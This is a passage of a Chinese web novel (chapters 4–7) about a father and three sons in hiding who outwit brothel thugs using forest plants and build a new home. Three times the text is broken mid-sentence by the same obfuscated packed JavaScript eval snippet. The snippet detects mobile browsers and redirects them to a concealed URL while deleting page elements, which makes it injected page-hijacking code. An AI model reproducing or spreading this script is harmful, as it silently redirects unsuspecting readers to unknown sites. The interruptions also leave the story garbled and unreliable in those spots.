“我想了下,临时住所的搭建不必花费太大精力,定在这就挺好。大荷树避雷,叶子防雨不腐,周围粗壮的古树还挡风。在这搭窝棚,安全省事。” 趁宋显分神解说之际,宋寒承立刻将嘴里的姜球果吐了出来,并在他发现前,将姜球果悄悄藏于袖中。 同一时间,宋陆远和宋济民已经面色难看地将姜球果吞了下去。 俩人吞完之后,才发现宋寒承的操作,脸色更难看了。 “难的是下一步,我们要赶在天冷之前,选一处适合的地方建房久居。 一要安全避风、不积水、不招野兽毒虫。 二要交通便捷,往来方便。 三要选平缓稳定的地层,周围远离陡坡悬崖。 四要有干净的饮用水源。” 想找一处都符合要求的地方并不那么容易。 宋显忽然想到什么,问三兄弟:“咱们原来的家在哪儿?村子叫什么?” “阿爹问这个做什么?那房子已经被你贱卖了呀。”宋济民眨巴着童真的大眼睛。 他两边的脸颊肉嘟嘟的,让人忍不住想捏一下,宋显也确实这样做了。 皮肤细嫩,手感软弹,超好捏! “我想看看村子附近有没有适合建房的地方。” 村子的选址一般都有讲究,是前人智慧选择的结果。如果有现成的地方可选,就不必费时费力地漫山遍野找新地方了。 “要搭窝棚哈,我去砍竹子。”宋陆远马上找借口走了。 “我去搜集干草。”宋济民也跑了。 宋显觉得奇怪,有点懵地看向宋寒承。 “叫三户村,下了山往东走一段路就到了。不过,我不建议你去那地方。” 白歌正拿着木棍子掀落叶层,烤蘑菇片没吃够,她想再寻点美味的牛肝菌吃。 忽听到宋寒承的话,她停下了动作,也跟宋显一样满脸疑惑地看向宋寒承。 “为什么呀?” “很难讲,等你去了就知道了。今天不行,我先去求人借点钱,买些必需品。” 宋寒承说完就对宋显浅行一礼,告辞下山去了。 宋显望着宋寒承如修竹一般的背影,骄傲地对身边的白歌显摆:“瞧瞧我家大儿子,好有礼貌!他人长得也俊,既聪明又心地善良,好完美!真不知道老天爷为他关上了哪扇窗。” 白歌嘴角抽了抽,欲言又止。最终她默默转身,把后背留给宋显,继续用树枝子掀落叶。 “你这样盲目找很慢的,还是我来吧。” 宋显马上就找到了两朵牛肝菌,令白歌佩服地五体投地。 白歌:“那我摘大荷树叶。”听说这叶子防水不腐,一会儿搭窝棚肯定能用到。 大荷树粗壮高大,很少有低矮的枝桠,所以想要采集到更多的树叶,就必须爬到树上面去。 “不用不用,你去挖黏土就行。”宋显担心白歌身体虚弱,爬树不安全。 “已经上来了。”白歌笑盈盈地骑在高处的树干上,对宋显挥了挥手。 “那你一定要注意安全。”宋显眼里的担忧之色很真切。 白歌笑得更灿烂,“放心吧。” 唉,她有点嫉妒宋家兄弟了,为什么她没有这样好的爹! 宋显一直低头采蘑菇,等他采得足够多的时候再抬头,发现自己不知不觉走到林子深处了。 这里光线很暗,四周都是高耸入云的大树,树叶层层叠叠地遮挡,很少有阳光射下来。 宋显尝试找方向原路返回,林子里突然起了雾气。四周雾气昭昭的,他看不清前路了。 这雾气还带着凉意,随着雾越来越浓,凉意也越来越强。 宋显禁不住打了个哆嗦,冷得搓胳膊。 深山里气候多变,一旦遇到失温的情况很有可能会丧命。 姜球果有驱寒作用,促进血液循环。 宋显赶忙从怀里拿出一个,边吃边寻找方向。 走着走着,他隐约听到脚步声,不禁高兴起来。 一定是宋陆远他们发现他不见了,来找他了。 宋显刚要喊人,忽然听到了两声狗叫。 怎么会有狗叫?出于警惕,宋显躲在树后,暂时没出声。 六名身材魁梧的蓝衣男人从雾气中走来,他们个个手提大刀,最前面的两人手里还牵着一只狗。 刘达啐一口:“呸!那娘们真是个不回头的畜生,竟敢跑到这里来,真给老子添麻烦!” “大哥,等我们找到那臭娘们,能不能?” “哈哈哈……” 男人们同时哄笑起来,露出猥琐的神情。 “大哥,我怎么突然觉得冷嗖嗖的,听说这种古树林里都有怨鬼,这么大雾不会是有鬼要出来吧?” “别瞎说!大白天的怎么可能会有鬼。” 刘达掐着腰,环顾四周浓郁的雾气,烦躁地皱起眉来。 “多给狗喂点,让他们快点带我们出去。” 两名牵狗的属下应承,立刻丢了两片生肉喂狗。 “唉,畜生都比我都吃得好。” “你还真比不了畜生。”刘达哈哈乐,“它俩能帮老子把那臭娘们追回来,你行吗?你行老子也喂你肉。” 男人们又哄笑起来。 两只狗吃完肉后四处嗅,被驱赶两回,还是不肯走。 刘达意识到情况,立刻抬手示意属下们。其余人马上止住谈笑声,警惕起来,纷纷握紧手里的刀,目光追随狗嗅的方向。 躲在树后的宋显额头冒了冷汗。 这六名蓝衣男人无疑是红袖楼的人,他们利用狗的气味儿追踪白歌,然后追到了这里。 昨晚他给白歌解毒的时候接触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189276|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过白歌,估计就是在那时候沾染到了白歌身上的气味儿,如今被狗嗅到了。 刘达等人在靠近前方古树的时候,注意到了树旁的地面有被踩踏过的痕迹。 这可真是“踏破铁鞋无觅处,得来全不费功夫”。 刘达乐了,打眼色示意兄弟们慢慢包围。 刘达得意不已:“臭娘们,出来吧,还躲什么?你躲得过初一,躲得过你刘爹爹吗?” 刘达的属下们又又哄笑起来。 宋显沉着脸从树后走出来,他很讨厌这帮恶汉侮辱嘲笑别人的嘴脸。 笑话人不如人,早晚有一天他们自己也会沦落为一个笑话。 刘达等人没见到预料中的美娇娘,有些恼火,脸上横肉跳动。 “你是谁?” “我是宋爹爹。” 这话显然是对比刘达刚才那句“刘爹爹”说的。 “臭小子,敢戏耍我们,纯找死!”刘达抡起胳膊,就将沉重的大刀架在宋显纤细的脖颈处。 宋显忙举起双手:“我知道白歌在哪儿,我带你们去。” 男人模样文静,眼睛乌黑漆亮,没有一丝杂质,额头上还有伤,看着就是个老实好欺负的。 刘达本来还存有一点点怀疑,但看到两只狗都凑到宋显腿边嗅,就确定他没有撒谎了。 “带路。”刘达狠狠推搡了宋显一下,警告他别耍花招。 宋显踉跄了一下,然后就老实巴交地往前走,做好一名带路人。 “大哥,我瞧这小子细皮嫩肉的,长得挺俊呐,抓回红袖楼估计也能赚钱。” “哈哈好主意。” 恶汉们又又又哄笑起来。 宋显带着他们在雾气中七拐八弯地走了很久。 刘达再度不耐烦起来,又把刀架在宋显脖子上威胁道“半个时辰内,你如果不能带我们找到白歌,我就杀了你。” “别别别,我真不是故意的,这会儿雾气太大了,不好找路。我只要找到那棵碗口粗的白皮树,就能找到地方了。” 这会儿雾确实很大,刘达不作怀疑:“快找!” “好好好。” 宋显继续在前带路,片刻后,他终于在迷雾中看到了那棵碗口粗的白皮树。 宋显激动地冲过去抱住白皮树,亲了一口:“就是它,找到了!” 这棵树很特别,不仅树皮的是白色,树叶也是。 树干不粗,像宋显这样的成年男人猛然扑上来,整个树干都摇摇晃晃起来。 刘达等人都迫不及待了,他们终于要抓到白歌了! “别耍花把式,快带我们去找白歌!” “好的,好的。” …… 白歌发现宋显失踪后,第一时间告知宋陆远和宋济民。 林中气温骤降,雾气很大。 三人举着火把去寻宋显,走到林子深处时,险些被温度骤降的冷气给冻回去。 好在两炷香后,阴冷的雾气终于散了,他们也终于找到了宋显。 三人在看到宋显的那一刻,全都惊讶地愣在原地,被眼前所见的场面给震撼住了! 宋显一个人乖乖地坐在白皮树旁,脸色惨白,双腿蜷缩,手拿着一个姜球果不停地啃着—— 在他的周围躺着八、具、尸、体。 六人二狗,无一生还。 5. 第 5 章 六具尸体面色发绀,但死状安详,透着几分诡异。 宋陆远率先大跨步迈过尸体,走到宋显身边。他见宋显目光失焦,神思恍惚,在他眼前晃了晃手。 “喂,你还好吗?” 宋济民跟着跑过来,发现宋显脸色格外惨白,去摸他的额头,很冰手。 “阿爹身体很凉,被冻着了!拿火把过来,我去捡柴。” 白歌还在震惊于刘达等红袖楼高手死亡的事实,听宋济民叫她才回神儿,赶忙来送火把。 “宋大哥没事吧?” “我没事。”宋显才缓过来,边抽着鼻子边抱怨姜球果,“辣得我嘴麻了。” 三人见宋显神志清楚,都松了口气。 “这怎么回事?” 宋陆远认得刘达,在江湖排名不低于前二十的高手,极好色,月前才被红袖楼花重金请去当护院。 此人混迹三教九流,狐朋狗友很多,跟在他身边的人功夫肯定也不低。 说实话,他都没一次杀死过这么多高手,宋显竟然做到了。 白歌和宋济民也都很好奇事情的真相,等待宋显解释。 “不是我,不是我,人不是我杀的。” 宋显让他们每一个人赶紧先亲一口白皮树,他再讲经过。 宋陆远、宋济民、白歌:“???” 他们没听错吧!?这是什么奇怪的要求,获知真相的代价? 白歌害羞地摸了摸自己的脸,“人家一个漂亮女孩子,做亲树皮的举动实在是不雅。” “可算了吧,你装蜘蛛精的时候更不雅。”宋陆远想起白歌昨晚装鬼乱爬的丑样儿。 “你不说话会死吗!”白歌不爽地白了一眼宋陆远。 好好一个刚毅英俊的少年郎,非长了一张嘴。 宋显纠正:“呃那个……准确来说,不是亲,是舔。” 宋陆远、宋济民、白歌:“……” “这棵白皮树的正经名字叫‘脑袋一片空白树’,你们看的‘白树叶’其实不是树叶,是它的花。人吸入这种花粉不久后就会脑袋一片空白,然后陷入昏迷,解药则是树皮上分泌的黏液。” 白歌听完宋显的解释后,一个箭步冲过去,立刻抱着树舔。 宋陆远和宋济民愣了下,紧随其后,舔舔舔。 回去的路上,宋显跟他们仔细讲述了经过。 宋济民唏嘘:“原来刘达等人是因为吸了‘脑袋一片空白树’的花粉昏迷了,然后被林中骤起的冷雾冻死了?” 宋显点头,确实是冷雾导致他们的体温急剧下降,引发失温丧命。 “幸好我在采蘑菇的路上见过白皮树,就记住了。也幸好有姜球果保命,冷雾来的时候,我躲过一劫。” 白歌突然噗通跪下,对宋显磕头:“呜呜呜,宋大哥,请受我一拜!从今以后你就是我亲大哥!” 白歌再抬头时,看向宋显的眼神儿不只充满感激之情,还充满了着对神一样的崇拜。 她求神拜佛,从不应验。 她落魄遇难,从没有神救过她。 宋显却救了她一次又一次。 所以,宋大哥才是她的真神,她誓死守护!从今以后,刀山火海,在所不辞! 白歌泪眼盈盈地抒发感激之际,宋陆远几声“喂喂喂”扫兴地打断了她。 “什么亲大哥,你想占我们便宜?” 宋显是他们的爹,白歌要认宋显当亲大哥,岂不是成了他们的姑母?这便宜若让她占着了,他还有何脸面面对江湖兄弟? 他宋陆远,人送外号“江湖第一狂剑”,只允许自己憋屈一次,那就是认宋显当爹,其他人的想都不要想! 白歌“嗤”了一声,嫌弃地对宋陆远道:“跟你有什么关系?这事儿同不同意要看我宋大哥。” 白歌转即满脸微笑,柔声慢语地询问宋显愿不愿意。 “啊?”宋显犹豫。 “爹,不能同意,民民才不要这么凶的姑母。” 宋济民拽住宋显的衣袖,撒娇地晃了晃。 “阿爹答应过的,会一心照顾好我们兄弟。” 宋显失笑,把宋济民抱在怀里,捏了捏他可爱的脸颊:“好,都听咱们民民的。” 白歌:“……” 小孩子撒娇什么,她赢不了一点,完败。 四人回到大荷树下后,各自分工干活。 宋显处理蘑菇,白歌编草垫子,宋陆远和宋济民一起合作搭窝棚。 宋陆远趁机戏谑宋济民:“民民?” 宋济民忙着将大荷树叶固定在窝棚顶,头都没抬。 “两句撒娇话就能解决的事儿,你非整出一副干架的架势,武夫!” 宋陆远梗着脖子不服道:“打架怎么了?我功夫好,我打得起!” “一个两个你打得起,如果遇到一群人呢?有人暗算你呢?”宋济民点了点自己的脑袋,“若学会智取,你将无敌。” 宋陆远哼了一声,本能想反驳宋济民,却发现自己无话可反驳。 三兄弟里就属他脑子不好,都嫌他笨是吧!? 宋陆远泄愤地捶打插在地上的竹竿,碗口粗的竹竿一下就被砸开了,碎得稀巴烂,好不容易搭稳的窝棚险些塌了。 窝棚顶上传来宋济民的一声叹气。 宋陆远仿佛听到宋济民在心里偷偷嘲讽他:“你看,说你是武夫,没脑子,易冲动,你果然是!” 他确实冲动了。 他怎么就这么笨,不聪明,脾气差,控制不住自己? 宋陆远越想越恼恨,握着锤柄的手指尖发白。 “哇,老二,你好厉害!这么大力气的嘛,居然一锤子就把这么粗的竹竿砸碎了!” 宋显凑了过来,满脸新奇地拨弄了两下地上的碎竹片。 “这可太好了,我正愁这里到处是树根,不好挖洞,更愁新房伐木运木的问题。有你这位大力神在,这些难题都能解决啦!” 宋显指了指树林边缘的柚木。 “那木头极好,不干裂不变形,伐下来最适合建房打家具。这么重要的任务就交给你可行?” 宋陆远懵懵地点了点头。 “我的好二儿,真能干!” “你这双手就是神手啊,能伐木、能挖坑、能建房……更能建造美好生活。” “有房才是家,建房全靠你,所以这个家没你得散。” …… 宋显心里的闷气在宋显的一声声赞美中渐渐消散,他甚至被夸得有些不好意思,红了脸。 跟他的两位兄弟相比,他确实不够聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189277|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明,不会说话,还易冲动。但他身上也有兄弟们不具备的优点,比如力气大、功夫好。他自有他的独一无二之处! 他刚才是怎么了?明明就是他的错,他却斤斤计较起来,那么敏感生气。 一定一定要学会控制自己的脾气,改掉自己冲动的坏习惯。 宋陆远想通这一切后,突然干劲儿十足。 他麻利地搭完两个窝棚之后,就兴冲冲地扛着斧头去伐树,砍了一棵又一棵,贼上瘾,一点都不觉得累。 …… 天黑前,宋寒承牵着一头驮货的毛驴回来了。 他带回了被子、衣裳、面粉和鸡蛋,还有半鱼篓的小河鱼。 宋济民立刻扑过去迎接大哥,叽叽喳喳地跟宋寒承讲了今天发生的事。 听说宋显一个人智斗了刘达等高手,宋寒承有几分意外,看向笑着向他走来的宋显。 宋济民开心地举着鱼篓,对宋显喊:“阿爹,有鱼!我最爱吃鱼了!” 宋显笑着摸了摸宋济民头,“我刚挖了荠菜,还剩下不少蘑菇。晚饭咱们就吃加鱼丸的荠菜鸡蛋馅馄饨,还有兔肉炖蘑菇。” 兔子是宋陆远刚才伐木的时候,偶然间抓得。估计是他砍树的力气太狠,把兔子的家给震塌了。 “听着就好吃,我都流口水了!”宋济民忍不住砸嘴,对晚饭非常期待。 烧火的时候,宋寒承来帮忙。 宋显有几分担忧地问他:“弄来这么多东西,借了很多钱吧?是什么朋友,借钱的时候有没有难为你?” “不过十几文,总能借得到的,阿爹不用担心。倒是你们今天遇到的事,挺叫人后怕的。”宋寒承往林子深处看了一眼。 宋显挠了挠头:“啊哈哈哈,没事,好在运气好。” “那可不是运气好,是阿爹有实力!”宋陆远兴致勃勃地大夸特夸起来,“大哥,你知道吗,阿爹几乎认识林子里的所有草木,还凭了这本事智斗杀敌,简直太厉害了!比我都强!” “是挺厉害的。”宋寒承淡笑看着宋显。 他不过是白天出去了一趟,二弟对他的态度就产生了翻天覆地的变化,赞声不断。 天擦黑的时候,大家围着火堆吃饭。 一人一碗热气腾腾的鱼丸荠菜馄饨,香得大家只顾着埋头吃,没人说半句话,只发出喝汤的吸溜声。 小河鱼做成鱼丸太美味了,以前他们吃鱼,就是直接把鱼放到锅里煮一下,加点盐,味道是好的,但就是有点腥,细小的鱼刺还容易扎嗓子。 如今这鱼丸经过辛辣的姜球果和藠头末调味儿后,不仅不腥了,还没有鱼刺,煮在馄饨汤里鲜美极了。 世间怎么会有这么好吃的美味儿,感觉他们从前吃的饭都不叫饭,是猪食了。 饭后,白歌主动积极地去刷锅。 宋显有点累了,就先去窝棚里休息养伤。 宋寒承叫走了宋陆远,兄弟俩不知道做什么去了,半夜才回来。 次日,宋显打着哈欠从窝棚里出来。 宋寒承正在把铁锅、陶罐等器具放到毛驴背上,转头看到宋显后,他直言:“这里不安全了,收拾一下,我们马上离开。” “为什么啊?我们昨天刚搭好了窝棚。”白歌从窝棚里探出头来,十分不解地问。 6. 第 6 章 宋寒承不答反问:“刘达等人的尸体,你们处理了?” 宋显摇了摇头。 “管那些死畜生干嘛,就让他们被野兽啃食、发烂发臭去!”白歌愤愤地咬牙,对刘达那些人憎恶不已。 “是会有什么麻烦吗?”宋显猜到宋寒承让大家离开的原因或许跟这有关系。 “红袖楼养了许多追踪犬,你昨日所见不过其二。” 刘达作为红袖楼重金聘请的高手,迟迟不归必定会引起其他人的注意。追踪犬既然能追踪到白歌的踪迹,当然也能追踪到刘达的尸体。 宋显很好奇一个青楼妓院怎么会有这么大的能耐,认真了解了一下红袖楼的情况。 原来红袖楼表面上是花柳之地,实际是权钱交易、黑恶势力聚集之所,上有官贵庇护,下有三教九流任意驱使,可以说是永州境内的地头蛇、土皇帝。 土皇帝当然派头大,要面子,对于欺骗、忤逆以及挑衅他们权威的人,都会给予最严厉的惩处。 现在红袖楼没找到白歌,还折了高手,肯定不会善罢甘休。 “如果没有追踪犬引路,我们还可以继续待下去,这古树林他们轻易不敢来。” “走,现在就走!”宋显立刻喊了醒宋陆远和宋济民,赶紧收拾行李。 白歌赤红眼,手握拳,牙齿咬得咯咯作响,似乎是想到了什么不好的回忆。她浑身散发的怒火仿佛要将天地都焚尽。 宋寒承的目光从白歌虎口处的薄茧掠过后,转身去牵毛驴,将毛驴引到草丛边吃草。 白歌猛地抬脚就欲朝山下跑。 “你去哪儿?” “他们不给我留活路,我也不给他们留活路。端了那红袖楼,叫他们都不得好死!” 宋寒承语气平缓,非常冷静:“凭你那三脚猫的功夫?” 白歌愣了,惊讶地问宋寒承:“你知道我会武?你什么时候发现的?” “见你第一眼的时候。” “你现身时,已然饿了三天,行走起来却仍如鬼魅一般,可见有功夫底子。 再言,红袖楼的守备比官府都严密,即便偶有疏忽的地方,能从那里逃出来的女子也必定不是等闲之辈。” 白歌沉默了片刻,“我没撒谎,我的确被未婚夫骗到了那里,他喂我喝了一种毒,害我内力尽失,在红袖楼险些受辱。 多亏宋大哥昨日为我解毒,才让我恢复了武功,我现在就找他们报仇去!” “我当你是个有脑子的,没想到比我二弟还不如。” 宋寒承语调仍然没有什么起伏,转身去整理驴背上的货物。 “你到底是什么人?你二弟可是江湖第一狂剑?” 白歌观察过宋显用的那把“菜刀”,不像是普通的匕首,似是天外玄铁制成。 狂剑少侠所持的江湖名器问阙剑就是天外玄铁制成。 听说那把剑可以随意伸缩长短,刀刃尖端处有一个独特的倒钩。 宋寒承捋了捋毛驴灰蓬蓬的耳朵,“这不是你该关心的问题。我只要确认一件事,你走还是留?走的话,别添麻烦。” 白歌忙问:“那留呢?” “也别添麻烦。” 狭长凤目里射出冷意,在看到宋显等人出来时才转归为平淡。 白歌:“……”好凶! 她承认自己刚才一时气头上涌,有点冲动了。 仅凭她一人,确实没有办法捣毁红袖楼。 如果宋陆远真的就是江湖第一狂剑,那他的功夫远在自己之上。他都尚且这样苟活,她有什么不能苟的。 留得青山在,不愁没柴烧! 她有预感,只要跟着宋家父子四人,她的仇一定有机会报。 “我留下。”白歌小心询问宋寒承,“那我要怎么做,才能不添麻烦?” 宋寒承将驴背上的一个布包递给白歌。 布包里有一套半旧的男装,一个瓷瓶,明显是早就准备好的东西。 “洗干净你身上的气味,涂上瓷瓶里的药膏,再将你的旧衣沾些血丢到三里外的古林去。” 白歌打开瓷瓶闻了一下,有浓郁的药香。 宋显搬完东西后,瞧见白歌和宋寒承站在一起说话。 “聊什么呢?” 他笑着凑到俩人跟前,以为他们俩在担心后续的生活。 “不要担心哦,只要青山在,不愁活不好,我保证带你们餐餐吃饱。” 白歌被宋显乐观的态度所感染,笑着点头应好,“对,宋叔说得对,生活会越来越好的!” 宋显忽然意识到白歌的称呼有问,“你之前不是叫我宋大哥么?” 白歌小心瞄一眼宋寒承,讪讪笑道:“其实我年纪比宋大哥还小一岁呢,按辈分是该叫您宋叔,我叫您大哥就占他们兄弟便宜了。” 宋显点点头,没有异议。 他爹都当了,不介意再当叔。 白歌要从另一条路走,就先行跟宋显等人告辞。 宋显将搜集的一包白皮树花粉和一袋子蘑菇干给了白歌,再三嘱咐她注意安全。 下山的坡有些陡,宋显牵住宋济民的手,就怕他跌倒。 一个时辰后,他们终于走到山下的山谷,这里本来有一条出山的捷径。雷雨之后,滚落下来一堆山石,堵住了原来的出口。他们要翻过前面的缓坡,绕到西面的山谷去。 宋显以为西山谷的情况也差不多,低凹而狭窄。 没想到竟是一片开阔的小平原,山坡很缓,开满了野花,两侧的山地也不陡峭。 从这里出山,只需要穿过前面一片不大的林子就行。 东边还有个山沟,山沟的另一侧紧连着大山,附近的树木郁郁葱葱,隐约能听到有潺潺流水声。 宋显问三兄弟:“你们觉不觉得这里好像比别处暖和一点?” 宋陆远摇头,表示没感觉。 宋济民:“好像是有点。” 宋寒承也点了头。 宋显有个猜测需要证实。 他循着流水声走进了草木旺盛的东山沟里,果然看到一条小溪,流淌的溪水上冒着淡淡的白烟。 宋显惊喜不已,他跳下不高的山沟,跑到溪边试水,略有点烫手,真的是温泉! 啊啊啊啊,他最喜欢温泉了。 更巧的是,这周围的地势环境刚好符合建房条件,简直就是天选住房地。 宋陆远感受过温泉后,表现得宋显更疯狂。 难以想象他每天习武出一身汗,去温泉里泡澡的感觉,会多爽快啊! 宋陆远兴奋喊:“我要住这里!” 宋寒承决:“不行。” “我就要住这里!” 宋寒承这次不说话了,含着冷意的目光盯着宋陆远。 宋陆远脸上的兴奋之色褪尽,还是有点不甘心。 他一直想要一处温泉房,在永州境内找了好久不曾找到,今天好不容易碰见了。 武林盟主就有一处,他怎么不能有?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189278|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怎么办?好想要。 他改变不了大哥的主意,改变三弟的也没用—— “这里风景好,有温泉,山上还有伐好的柚木,造房子刚好可以就地取材,山里满地长着我爱吃的蘑菇……阿爹,我就要住这里!” 宋陆远跑去拉住宋显的手,肩宽腿长的壮硕大男孩,这会儿如小姑娘一般使劲儿地撒娇央求。 宋显立刻笑着答应宋陆远:“好,我们先去别的地方躲一躲,等风头过了就来这里建房。” “不行,这地方只要引起红袖楼的怀疑,就必须彻底放弃,不能冒任何风险。”宋寒承语气坚决,依旧持反对意见。 宋显催促宋陆远快走:“你大哥说得对,潜在危险就是隐患,先去别的地方暂住。” “啊——”宋陆远失望地哀嚎起来,他白撒娇了,好后悔。 “我一会儿就想办法处理山上的尸体,让追踪犬闻不到气味儿。追踪犬追踪不到这里有异样,那就不会引起怀疑,我们就可以回来建房了。” “太好了!阿爹最好了!”宋陆远欢呼,激动地抱住宋显。 宋寒承皱眉:“这很冒险,不值得。” 宋显眉眼弯弯地笑:“值得,我欠你们一个家,理应补偿一个更好的给你们。” “不要意气用事。”宋寒承眉头皱得更深,有几分看不懂宋显了,他根本没必要这样冒险。 “我坚持。” 宋寒承也不多言了,只是告诉宋显,“其实尸体我和老二昨晚已经处理过了,但骗得过人,骗不过狗,味道还在。” 没了尸体好啊,他只需要想办法解决山上的气味儿问题就行了。 宋显挥挥手,让宋寒承放心地带着俩兄弟先走。 “解决完了,我就到三户村的城隍庙与你们汇合。” 宋寒承点头,带着俩弟弟离开。 走了几步后,他回头说了句:“你小心。” 宋显笑着点头,对他们挥了挥手。 目送走宋家三兄弟后,宋显转身就捂嘴偷偷笑起来。 嘿嘿,他刚才那副“为父甘愿牺牲,肩挑所有”的样子一定帅气极了! 他高大伟岸的父亲形象定然在孩子们心中树立起来了! 一定把他三个儿子给感动坏了吧! 不过是解决残留的气味而已,他手拿把掐。 之前他在古树林探索的时候,看到过几朵价值说明很特别的蘑菇,刚好可以利用它们拯救这次的“气味危机”。 宋显返回古树林后,很快就找到了那些长在白樟树树干上的蘑菇。 【价值说明】:多香菇,黄色,圆润若桂圆大小,触之即大,越触越大,最终变白时,触之即炸,刺激性臭味飘十里,经久不散,孢子微毒易引发鼻炎。 宋显用一块湿布捂住口鼻后,就拎着一草筐多香菇,在林子里四处“放炮”。 他还特意在上风向处,多炸了几个。 当整座古树林都被这种比螺蛳粉还要臭百倍的味道浸透后,宋显乐颠颠地跑去山谷,在温泉里洗干净自己后,开开心心地出山。 宋显刚出小树林,就与一队带刀的人马打了照面。 这些人都身穿蓝衣,与刘达等人衣着一样,显然都是红袖楼的打手。 领头的是一位二十出头的青年,乌发碧眼,五官深邃,有点像异族人。 他看到宋显后很惊讶,立刻抬手示意身后的属下们不必拿刀对准宋显。 “阿显,你怎么在这?” 7. 第 7 章 山风徐徐,野花野草随风乱舞,仿佛在演绎宋显此刻的心情。 他这是遇到熟人了?还是红袖楼的人? 天呐,原身除了恶毒继父的人设外,还有别的身份!? 宋显摸了摸鼻子,假装认识李信之:“我还想问你呢,你怎么跑这来了,还带了这么多人,是出了什么大事儿吗?” “也不算大事。红袖楼跑了个姑娘,结果人没抓到,负责追捕的一队人马也没了踪影,姑母就让我带人来瞧瞧。” 姑母?他姑母难道是红袖楼的老鸨?那这人身份不简单呐! 宋显心在颤抖,嘴很坚定:“那找到了吗?” 李信之耸了耸肩,“找到了我还能在这遇到你吗?不过也快了,追踪犬引我们到了这片地方。” “对了,你还没告诉我,你为何会在这里?” 宋显随口胡诌:“办事路过,看到有人鬼鬼祟祟进山,我就好奇跟了过来,可惜跟丢了。” 李信之忙问:“那人长什么样?” 宋显继续胡诌:“身材纤瘦,个头很高,大方脸,走起路来步伐很快,还左顾右盼的。” 李信之皱眉思索着,白歌身材玲珑纤瘦,李达等人是身材魁梧的壮汉,都不符合。 四只追踪犬先后凑到宋显身边,嗅来嗅去,人拉都拉不走。 宋显:“……” 这些狗咋都那么狗呢?非揪着他不放? 李信之猛地拍了一下宋显的肩膀,宋显顿时浑身肌肉绷紧,睫毛颤了又颤。 “哈哈哈哈……”李信之一边驱赶狗一边笑,“阿显,别怪它们嗅你,你几天没洗澡了?身上太臭了。” 啊? 宋显呆了下,低头闻了闻自己的袖口:“味儿有这么大吗?” 他早就被多香菇的臭味熏麻了,完全闻不到自己衣服上有异味。不过幸好有这臭味儿,躲过一劫。 “天快黑了,你们快忙吧,我就不耽误你们了。”宋显赶紧挥手跟他们告辞。 “诶?咱们兄弟难得见一回,哪儿能刚见面就走呢。放心,兄弟不嫌弃你有味儿。 走吧,陪我一会儿,正好你进过山,给我们带带路。” 李信之边说话就边勾住了宋显的肩膀,直接带他往山里走,根本不给宋显拒绝的机会。 他也不好强硬拒绝,否则很容易引起李信之的怀疑。 宋显另辟难路,带着李信之等人从北面上山。这里山坡陡峭,带刺的草木多,沟壑乱石也很多。一段路走下来,狗都被累趴下了。 “唔,这什么味儿!臭死了!” 众人刚踏入古树林边界,就闻到一股难以言说的臭味儿。 “阿欠!” “阿欠!” “阿欠!” …… 众人纷纷打起了喷嚏。 四只追踪犬的情况更糟,呼吸声变重,频频甩头流鼻涕。 “老大,这味道太刺激了!传闻都说山里的古树林不能进,有什么邪祟啊。味道这么臭,会不会真有什么鬼东西?现在追踪犬不能用了,怎么办?” 李信之问宋显身,“阿显,你身上的臭味儿在这染上的?” 宋显点头,“我来的时候还没这么浓的臭味,还以为是附近野兽拉的屎。” 李信之眯起眼睛,脸色郑重:“气味很奇怪,进山的那个人又很诡异,这林子里一定藏了什么不可告人的秘密。” 宋显:“……”是的,死亡的秘密。 “阿显,咱们说不定要立大功了!” 李信之突然高兴起来了,使劲儿地晃了晃宋显的肩膀。 “啊?” 宋显不知道李信之推理出了什么,令他这么兴奋。他现在只发愁,自己该如何脱身。 “所有人听令,顺着气味儿继续往里走,一定要找到气味最浓的地方!” 李信之开心地拉着宋显继续往里走,眼睛里闪烁着特别期待的光。 很明显,李信之现在不是为了追踪刘达和白歌,而是因为别的事情在兴奋。 宋显搞不懂他。 他只能做点力所能及的事,用湿布掩好口鼻,让自己少闻点臭味儿。 天大黑的时候,点起了火把。 前方有一个陡坡,身手好的人率先爬了上去。他一手抓着树干,身体前倾,伸手到坡下,把大家一个一个拉上来。 人上去半数的时候,队伍后头的宋显和李信之才走过来。 在昏黄火焰的照应下,通体雪白的白皮树格外显眼。 那名拉人上坡的壮汉,一手抓着的正是白皮树的树干,他每拉一个人上来,树干就抖一下,满树的“白叶”就跟着剧烈颤抖。 不好,这种抖动程度,花粉的量肯定很大! 宋显连忙从袖袋里取出一块早前备好的白皮树树皮,塞进嘴里。 李信之注意到宋显的动作,扭头笑问他—— 额……他要问什么来着? 李信之张了张口,突然间脑袋一片空白,不知道说什么了。 噗通!噗通!噗通!噗通…… 瞬息间,包括李信之在内一共十二人四狗,陆续倒地,全都晕了。 